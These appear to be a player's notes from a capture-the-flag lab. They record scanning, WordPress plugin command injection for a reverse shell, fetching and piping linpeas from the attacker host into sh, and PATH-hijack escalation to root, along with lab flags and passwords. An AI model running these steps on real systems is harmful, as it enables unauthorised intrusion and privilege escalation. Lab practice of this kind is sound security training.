Flags:
Pre-Foothold Flag: 31da8
Foothold.txt → 94c20
user flag gunter → 0e969
root flag → 32102
root flag → 32102

Passwords:
Wordpress login creds: admin:ffe3728e
wordpress: AfullcommitmentswhatImthinkingof

1. Scan the network
    1. nmap 192.168.75.0/24

```
Nmap scan report for 192.168.75.55
Host is up (0.00050s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap scan report for 192.168.75.66
Host is up (0.0014s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
```

2. check webserver on port 80

    1. gobuster dir -u 192.168.75.55 -w /usr/share/wordlists/dirb/common.txt
        1. using another list will show the directory delphy
            1. subdirectory wp-admin found (admin credentials available)
            2. plugin installed plainview_activity_monitor (has a command injection vulnerability)
            3. start nc -lnvp 9999 (attacker)
            4. user | to send reverse shell

3. spawn http Server to send linpeas to system
    1. python3 -m http.server 8000
    2. curl 192.168.75.20:8000/linpeas.sh | sh

sky-init.robstargames.com
adding a host entry to the attacker machine allows the creation of the Server that contains the RSA files to gain access to the user Gunter.

1. python3 -m http.server 8001
    1. hosting the file structure and the files required
2. The file located in /opt/kernelfix uses the binary apt
3. due to the fact that Gunter has access to PATH the source "." can be added to the envirnoment variables
4. create a file in a writeable path

```
nano /home/gunter/apt
####

#!/bin/sh
/usr/bin/echo "running shell"
/usr/bin/bash

####
chmod +x apt
--> run PATH="." /opt/kernelfix/app 0
```